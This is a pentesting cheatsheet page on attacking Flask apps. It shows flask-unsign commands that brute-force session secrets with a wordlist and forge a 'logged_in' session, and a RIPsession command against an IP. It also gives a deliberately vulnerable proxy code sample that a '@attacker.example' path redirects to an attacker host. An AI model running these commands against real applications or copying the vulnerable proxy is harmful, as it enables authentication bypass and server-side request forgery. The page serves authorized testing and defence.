daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

flask.md (4260B)


      1 ---
      2 title: "Flask"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/flask.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/flask.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Flask
     14 
     15 Flask applications are often useful targets for [server-side template injection](../../pentesting-web/ssti-server-side-template-injection/index.html) testing, but the framework alone does not imply that an SSTI vulnerability exists.
     16 
     17 ## Cookies
     18 
     19 Flask's default client-side session cookie is named **`session`**. Its contents are serialized and cryptographically signed, but not encrypted: a user can inspect them, while modifying them requires the application's secret key.<sup>[[1]](#references)</sup>
     20 
     21 ### Decoder
     22 
     23 The [Kirsle Flask session decoder](https://www.kirsle.net/wizards/flask-session.cgi) can decode a cookie for inspection.<sup>[[2]](#references)</sup> Do not submit real production cookies to third-party services.
     24 
     25 #### Manual
     26 
     27 For an uncompressed cookie, take the segment before the first dot, add Base64 padding if needed, and decode the URL-safe Base64 value. A leading dot indicates that the payload is compressed, so the simple command below is not sufficient.
     28 
     29 ```bash
     30 echo "ImhlbGxvIg" | base64 -d
     31 ```
     32 
     33 Decoding does not verify the signature and does not reveal the secret key.
     34 
     35 ### Flask-Unsign
     36 
     37 `flask-unsign` can decode Flask session cookies and, during an authorized test, try candidate secret keys or sign a modified session when the key is known.<sup>[[3]](#references)</sup>
     38 
     39 ```bash
     40 pip3 install flask-unsign
     41 ```
     42 
     43 #### Decode cookie
     44 
     45 ```bash
     46 flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
     47 ```
     48 
     49 #### Brute force
     50 
     51 ```bash
     52 flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
     53 ```
     54 
     55 #### Signing
     56 
     57 ```bash
     58 flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
     59 ```
     60 
     61 #### Signing using legacy (old versions)
     62 
     63 ```bash
     64 flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
     65 ```
     66 
     67 ### RIPsession
     68 
     69 RIPsession automates requests with cookies crafted through `flask-unsign`.<sup>[[4]](#references)</sup>
     70 
     71 ```bash
     72 ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
     73 ```
     74 
     75 ### SQL injection in a Flask session cookie with sqlmap
     76 
     77 [This example](../../pentesting-web/sql-injection/sqlmap/index.html#eval) uses sqlmap's `--eval` option to sign payloads with a known Flask secret.
     78 
     79 ## Unsafe proxy URL concatenation
     80 
     81 Research into HTTP parser inconsistencies showed that unusual request targets beginning with `@` can reach Flask routes. If an application concatenates that attacker-controlled path directly after a URL authority, the result can be interpreted with the text before `@` as user information and the text after it as a new host.<sup>[[5]](#references)</sup>
     82 
     83 ```http
     84 GET @/ HTTP/1.1
     85 Host: target.com
     86 Connection: close
     87 ```
     88 
     89 In the following scenario:
     90 
     91 ```python
     92 from flask import Flask
     93 from requests import get
     94 
     95 app = Flask('__main__')
     96 SITE_NAME = 'https://google.com'
     97 
     98 @app.route('/', defaults={'path': ''})
     99 @app.route('/<path:path>')
    100 def proxy(path):
    101   return get(f'{SITE_NAME}{path}').content
    102 
    103 app.run(host='0.0.0.0', port=8080)
    104 ```
    105 
    106 With a path such as `@attacker.example`, the constructed URL becomes `https://google.com@attacker.example`. This is an application-level URL-construction flaw, not an inherent Flask SSRF. Parse the destination, enforce an allowlist for scheme and host, and reject ambiguous request targets.
    107 
    108 ## References
    109 
    110 - [1] [Flask documentation - sessions](https://flask.palletsprojects.com/en/stable/quickstart/#sessions)
    111 - [2] [Kirsle - Flask session cookie decoder](https://www.kirsle.net/wizards/flask-session.cgi)
    112 - [3] [flask-unsign](https://github.com/Paradoxis/Flask-Unsign)
    113 - [4] [RIPsession](https://github.com/Tagvi/ripsession)
    114 - [5] [Exploiting HTTP parser inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)